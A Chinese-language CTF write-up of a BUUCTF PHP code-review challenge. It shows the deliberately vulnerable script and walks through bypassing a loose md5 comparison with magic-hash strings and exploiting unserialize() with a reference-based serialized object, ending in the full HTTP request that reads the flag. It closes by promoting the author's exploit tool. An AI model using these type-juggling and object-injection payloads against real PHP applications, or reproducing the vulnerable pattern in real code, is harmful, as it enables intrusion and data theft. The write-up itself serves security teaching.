BUUCTF 基礎CODE REVIEW

李慢慢233發表於2021-04-04

1、說明:

題目來自於BUUCTF 的基礎部分,內容就如題,是一個程式碼審計。程式碼如下:

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

2、程式碼內容分析

程式碼主要可以分為4部分,如下圖

0部分為一個class,而且在第三部分看見了反序列化unserialize($_POST['obj']); 內容,那麼就十之八九是反序列化。但是先不用去處理。且在class中可以獲得flag的值。

1部分為一個IF 滿足進入的條件為get 傳參的值為1

2部分也是一個IF 滿足條件為post 傳參的值為2

3部分也是一個IF 滿足條件為 需要兩個不同的數。且這兩個不同的數值的md5 的卻相同 。

如果 123 條件都滿足之後就會執行反序列化,通過POST 傳參obj 執行,然後進入區域0

0區域也有一個IF 滿足條件為屬性correct與屬性input相等。 但是correct 卻是利用一個時間進行計算的值的base64 值。

3、以上每個條件的滿足方式

第一部分

只需要在url 中傳參即可,如下圖

第二部分

使用burpsuit截斷內容,改變傳輸方式為POST。如下

改變為POST 之後, URL 中傳值的1 也會自動下來, 需要手動調整上去。

第三部分

第三部分為md5值得比較。通常可以用陣列 做比較繞過和弱型別 比較繞過。
這裡使用弱型別比較繞過。
原理:PHP 當中使用== 來進行比較的時候,系統會自動處理資料型別, 進行分析是數字比較還是字元比較。 而當一個字串值是e0開通的時候,那麼就會被當中數值。而e0xxxxxx都為0.
那麼就只需要找到兩個不同的數值,開頭卻是以e0開頭的即可。也是蠻多的,如下圖中所示。

然後傳參md51md52 即可。 這樣就可以達到md51md52 不相同。 但是他們的md5值卻在php中相等。
傳參方式和post一樣, 使用& 符號連結。 內容如下圖:

反序列化與引用處理。

反序列化的處理方式很簡單。 值需要將原class 中的方法去掉,放進php線上執行 中去,序列化一下即可獲得可以執行的序列化內容。
如圖:

但是以上序列化之後的字串通過post['obj'] 只能達到解析的目的。 解析後內容可以控制。卻因為uniqid()函式產生的數是隨時變化的,無法預測,所以input 傳值多少無法確定。

這裡就是本題的重要考點引用 的反序列化。 我們可以簡單的把引用簡單的理解為C 語言中的地址指標。
看如下程式碼

$a=&$b;
$a=1;//此時 輸出$b 那麼變數b就為1
$a=123;//此時輸出$b 那麼變數b就為123

由以上程式碼可以發現,當變數b為a的引用的時候,b的值隨a變化。

道理我都懂了, 那麼只需要$this->input$this->correct 的引用即可。

$this->input=&$this->correct

構造方式如下圖:

只需要在序列化的時候設定一下即可。

完整poc如下圖

http報文如下

POST /?pleaseget=1 HTTP/1.1
Host: a27be653-d322-4e8f-96a8-07b27c77f559.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 103
Content-Type: application/x-www-form-urlencoded

pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

私貨

limanmanExp 5.2版本釋出了。 增加了資料庫審計外掛。 想要的小夥伴可以看B站。

https://www.bilibili.com/video/BV1UK4y1U7G6
下載地址在簡介中。 還附帶了一些簡單的exp外掛。 如果有興趣自定義開發外掛,也可以在看雲手冊中檢視開發方法
地址https://www.kancloud.cn/qq496672097/limanmanexp/2139143

相關文章